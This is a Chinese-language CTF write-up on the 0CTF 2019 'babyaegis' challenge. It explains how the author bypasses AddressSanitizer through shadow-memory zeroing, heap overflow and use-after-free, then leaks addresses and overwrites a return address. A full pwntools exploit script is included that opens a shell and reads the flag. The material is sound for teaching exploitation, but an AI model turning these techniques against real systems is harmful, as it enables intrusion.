做这道题之前需要对 AddressSanitizer 有所了解。
源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/0ctf2019/pwn/babyaegis 。
目录
安全防护
ex@Ex:~/test$ checksec aegis
[*] '/home/ex/test/aegis'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
ASAN: Enabled
UBSAN: Enabled
溢出点
后门 secret
void __cdecl secret()
{
char *v0; // rax
char *v1; // [rsp+0h] [rbp-10h]
if ( secret_enable )
{
printf("Lucky Number: ");
v1 = (char *)read_ul();
if ( (unsigned __int64)v1 >> 44 )
v0 = (char *)((unsigned __int64)v1 | 0x700000000000LL);
else
v0 = v1;
*v0 = 0;
secret_enable = 0;
}
else
{
puts("No secret!");
}
}
有一次对大于0x700000000000
的任意地址填充NULL
byte的机会。
heap overflow
每次执行update_note
函数后,可以控制的内存长度会加1。
size = strlen(*(_QWORD *)v9) + 1;
v10 = read_until_nl_or_max(v2, size);
UAF
在delete_note
中函数free
掉chunk后,没有置NULL。
思路
- 绕过 AddressSanitizer
- heap overflow
- 泄露地址
- 改ret地址拿shell
绕过 AddressSanitizer
当heap overflow
时,会把ID
写入到0x602000000020
地址,在写入之前AddressSanitizer
会检查0x602000000020
是否有可写权限,显然是没有的。
pwndbg> pr 0
$1 = (note_struct *) 0x602000000030
$2 = {
malloc_ptr = 0x602000000010 "aaaaaaa\377\377\377\377\377\377\377\377\276\002",
cfi_check = 0x557dc3c46ab0 <cfi_check>
}
0x602000000000: 0x02ffffff00000002 0x4e80000120000010
0x602000000010: 0xff61616161616161 0xbeffffffffffffff
0x602000000020: 0x02ffffff00000002 0x1500000120000010
0x602000000030: 0x0000602000000010 0x0000557dc3c46ab0
pwndbg> sa 0x602000000020
$3 = 0xc047fff8004 "\372", <incomplete sequence \372>
0xc047fff8004: 0xfa 0xfa 0x00 0x00 0xfa 0xfa 0xfa 0xfa
这时我们需要用后门函数将(0x602000000020 >> 3) + 0x7FFF8000
也就是0xc047fff8004
这里置0,来绕过AddressSanitizer
检测。
add_note(0x10, 'a' * 8, 0xffffffffffffffff)
sh.recvuntil('Choice: ')
sh.sendline('666')
# Set 0x602000000020 to be able to read and write
sh.sendlineafter('Lucky Number: ', str((0x602000000020 >> 3) + 0x7FFF8000))
heap overflow
可以heap overflow
之后,将chunk
的user_requested_size
改为大于256M
的数值,之后malloc
的将还是这块chunk
。
让我们看看没有修改之前的ChunkHeader
:
pwndbg> ch 0x602000000020
$4 = {
chunk_state = 0x2,
alloc_tid = 0x0,
free_tid = 0xffffff,
from_memalign = 0x0,
alloc_type = 0x1,
rz_log = 0x0,
lsan_tag = 0x0,
user_requested_size = 0x10,
user_requested_alignment_log = 0x1,
alloc_context_id = 0x15000001
}
由于alloc_context_id
的值是不固定的,所以这里要用到部分覆盖技术,必须保证该值不变,否则会crash。
update_note(0, 'b' * 0x12, u64('ccc\0\0\0\0\0'))
update_note(0, 'd' * 0x10 + p32(0x00000002) + 'e', (0x20000010 + 0x10000000) * 0x100000000 + 0x02ffffff) # 0x10000000 -> 256M
修改完后调试查看:
pwndbg> pr 0
$5 = (note_struct *) 0x602000000030
$6 = {
malloc_ptr = 0x602000000010 'd' <repeats 16 times>, "\002",
cfi_check = 0x557dc3c46ab0 <cfi_check>
}
0x602000000000: 0x02ffffff00000002 0x4e80000120000010
0x602000000010: 0x6464646464646464 0x6464646464646464
0x602000000020: 0x02ffffff00000002 0x1500000130000010
0x602000000030: 0x0000602000000010 0x0000557dc3c46ab0
pwndbg> ch 0x602000000020
$7 = {
chunk_state = 0x2,
alloc_tid = 0x0,
free_tid = 0xffffff,
from_memalign = 0x0,
alloc_type = 0x1,
rz_log = 0x0,
lsan_tag = 0x0,
user_requested_size = 0x10000010,
user_requested_alignment_log = 0x1,
alloc_context_id = 0x15000001
}
之后删除该chunk
,在malloc
一遍就chunk overlaping
了。
delete_note(0)
add_note(0x10, p64(0x602000000018), 0) # index 1
结果如下,可以看到index_1
的malloc_ptr
控制着0x0000602000000018
,而0x0000602000000018
刚好就是index_0
的malloc_ptr
,也就相当于可以任意地址读写:
pwndbg> pa
$8 = (note_struct *) 0x602000000030
$9 = {
malloc_ptr = 0x602000000018 "\260j\304\303}U",
cfi_check = 0xbe00000000000000
}
0x602000000008: 0x1500000120000010 0x0000602000000030
0x602000000018: 0x0000557dc3c46ab0 0x02ffffff00000002
0x602000000028: 0x4e80000120000010 0x0000602000000018
0x602000000038: 0xbe00000000000000 0x0000000000000000
$10 = (note_struct *) 0x602000000010
$11 = {
malloc_ptr = 0x602000000030 "\030",
cfi_check = 0x557dc3c46ab0 <cfi_check>
}
0x602000000020: 0x02ffffff00000002 0x4e80000120000010
0x602000000030: 0x0000602000000018 0xbe00000000000000
0x602000000040: 0x0000000000000000 0x0000000000000000
0x602000000050: 0x0000000000000000 0x0000000000000000
$12 = (note_struct *) 0x0
Cannot access memory at address 0x0
泄露地址
这里我们要泄露基地址、libc地址、栈地址。
show_note(0)
sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
image_addr = u64(result.ljust(8, '\0')) - elf.symbols['cfi_check']
log.success("image_addr: " + hex(image_addr))
puts_got_addr = image_addr + elf.got['puts']
temp = p64(puts_got_addr)
update_note(1, temp[:1] + 'f' , u64(temp[1:] + 'g'))
show_note(0)
sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success("libc_addr: " + hex(libc_addr))
# pause()
update_note(1, p64(libc_addr + libc.symbols['environ']) , 0)
# pause()
show_note(0)
sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
stack_addr = u64(result.ljust(8, '\0'))
log.success("stack_addr: " + hex(stack_addr))
改ret地址拿shell
这里改main
函数的地址的话会被UndefinedBehaviorSanitizer
检测出来,所以这里改的是read_until_nl_or_max
函数的返回地址。
read_until_nl_or_max_ret_addr = stack_addr - 0x150
log.success("read_until_nl_or_max_ret_addr: " + hex(read_until_nl_or_max_ret_addr))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
update_note(1, p64(read_until_nl_or_max_ret_addr) , 0)
one_gadget_addr = libc_addr + 0x4f322
log.success("one_gadget_addr: " + hex(one_gadget_addr))
# update_note(0, p64(libc_addr + libc.symbols['gets']) , 0)
sh.recvuntil('Choice: ')
sh.sendline('3')
sh.sendlineafter('Index: ', str(0))
sh.sendafter('New Content: ', p64(libc_addr + libc.symbols['gets']))
# pause()
# 0x000000000001c843 : pop rdi ; ret
pop_rdi_ret = 0x000000000001c843
sh.sendline('i' +
p64(one_gadget_addr) +
p64(image_addr + pop_rdi_ret) +
p64(0) +
p64(libc_addr + libc.symbols['exit']) +
'\0' * 0x30
)
sh.interactive()
由于没有一个onegadget
满足约束条件,但是恰好在read_until_nl_or_max
返回时,其rdi
的值指向栈的read_until_nl_or_max_ret_addr
旁边,所以这里用gets
函数来创造约束条件。
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
typedef struct note_struct{
char *malloc_ptr;
void *cfi_check;
}note_struct;
note_struct no_use;
typedef unsigned int u32;
struct ChunkHeader {
// 1-st 8 bytes.
u32 chunk_state : 8; // Must be first.
u32 alloc_tid : 24;
u32 free_tid : 24;
u32 from_memalign : 1;
u32 alloc_type : 2;
u32 rz_log : 3;
u32 lsan_tag : 2;
// 2-nd 8 bytes
// This field is used for small sizes. For large sizes it is equal to
// SizeClassMap::kMaxSize and the actual size is stored in the
// SecondaryAllocator's metadata.
u32 user_requested_size : 29;
// align < 8 -> 0
// else -> log2(min(align, 512)) - 2
u32 user_requested_alignment_log : 3;
u32 alloc_context_id;
};
struct ChunkHeader no_use2;
'''
f = open('/tmp/gdb_symbols.c', 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
print(e)
# context.log_level = 'debug'
execve_file = './aegis'
sh = process(execve_file, env={"LD_PRELOAD":"/tmp/gdb_symbols.so"})
# sh = process(execve_file)
# sh = remote('eonew.cn', 60107)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.arch = "amd64"
# Create temporary files for GDB debugging
try:
gdbscript = '''
set $glo=(note_struct **)¬es
define pr
p $glo[$arg0]
p *$glo[$arg0]
x/8gx $glo[$arg0]->malloc_ptr-16
end
define all
p *$glo@32
end
define pa
pr 0
pr 1
pr 2
pr 3
end
define sa
p (char *)((($arg0) >> 3) + 0x7FFF8000)
x/8bx ((($arg0) >> 3) + 0x7FFF8000)
end
define ch
p/x *(struct ChunkHeader *)($arg0)
end
# b *$rebase(0x113D60)
# b *$rebase(0x1145F0)
set $c=(struct ChunkHeader *)0x602000000020
# c
'''
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdbscript', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def add_note(size, content, id):
sh.recvuntil('Choice: ')
sh.sendline('1')
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Content: ', content)
sh.sendlineafter('ID: ', str(id))
def update_note(index, content, id):
sh.recvuntil('Choice: ')
sh.sendline('3')
sh.sendlineafter('Index: ', str(index))
sh.sendafter('New Content: ', content)
sh.sendlineafter('New ID: ', str(id))
def delete_note(index):
sh.recvuntil('Choice: ')
sh.sendline('4')
sh.sendlineafter('Index: ', str(index))
def show_note(index):
sh.recvuntil('Choice: ')
sh.sendline('2')
sh.sendlineafter('Index: ', str(index))
add_note(0x10, 'a' * 8, 0xffffffffffffffff)
sh.recvuntil('Choice: ')
sh.sendline('666')
# Set 0x602000000020 to be able to read and write
sh.sendlineafter('Lucky Number: ', str((0x602000000020 >> 3) + 0x7FFF8000))
# pause()
update_note(0, 'b' * 0x12, u64('ccc\0\0\0\0\0'))
update_note(0, 'd' * 0x10 + p32(0x00000002) + 'e', (0x20000010 + 0x10000000) * 0x100000000 + 0x02ffffff) # 0x10000000 -> 256M
delete_note(0)
add_note(0x10, p64(0x602000000018), 0) # index 1
show_note(0)
sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
image_addr = u64(result.ljust(8, '\0')) - elf.symbols['cfi_check']
log.success("image_addr: " + hex(image_addr))
puts_got_addr = image_addr + elf.got['puts']
temp = p64(puts_got_addr)
update_note(1, temp[:1] + 'f' , u64(temp[1:] + 'g'))
show_note(0)
sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success("libc_addr: " + hex(libc_addr))
# pause()
update_note(1, p64(libc_addr + libc.symbols['environ']) , 0)
# pause()
show_note(0)
sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
stack_addr = u64(result.ljust(8, '\0'))
log.success("stack_addr: " + hex(stack_addr))
read_until_nl_or_max_ret_addr = stack_addr - 0x150
log.success("read_until_nl_or_max_ret_addr: " + hex(read_until_nl_or_max_ret_addr))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
update_note(1, p64(read_until_nl_or_max_ret_addr) , 0)
one_gadget_addr = libc_addr + 0x4f322
log.success("one_gadget_addr: " + hex(one_gadget_addr))
# update_note(0, p64(libc_addr + libc.symbols['gets']) , 0)
sh.recvuntil('Choice: ')
sh.sendline('3')
sh.sendlineafter('Index: ', str(0))
sh.sendafter('New Content: ', p64(libc_addr + libc.symbols['gets']))
# pause()
# 0x000000000001c843 : pop rdi ; ret
pop_rdi_ret = 0x000000000001c843
sh.sendline('i' +
p64(one_gadget_addr) +
p64(image_addr + pop_rdi_ret) +
p64(0) +
p64(libc_addr + libc.symbols['exit']) +
'\0' * 0x30
)
sh.interactive()
运行实例
ex@Ex:~/test$ python exp.py
[+] Opening connection to eonew.cn on port 60107: Done
[*] '/home/ex/test/aegis'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
ASAN: Enabled
UBSAN: Enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
list index out of range
[+] image_addr: 0x5584a0ca6000
[+] libc_addr: 0x7ff632fbc000
[+] stack_addr: 0x7ffd9c3c17f8
[+] read_until_nl_or_max_ret_addr: 0x7ffd9c3c16a8
[+] one_gadget_addr: 0x7ff63300b322
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ ls
aegis
flag
$ cat flag
d9b9d839a689ca83032db45722d75c84a3da163f
$
总结
绕过 AddressSanitizer
是本题的重点。而且有AddressSanitizer
保护的程序,其反汇编出来的代码由于有很多内存检查掺杂在程序流中,会使得程序变得很难看,这时需要我们抓住核心代码。
思路借鉴自:https://ray-cp.github.io/archivers/0CTF_2019_PWN_WRITEUP#aegis 。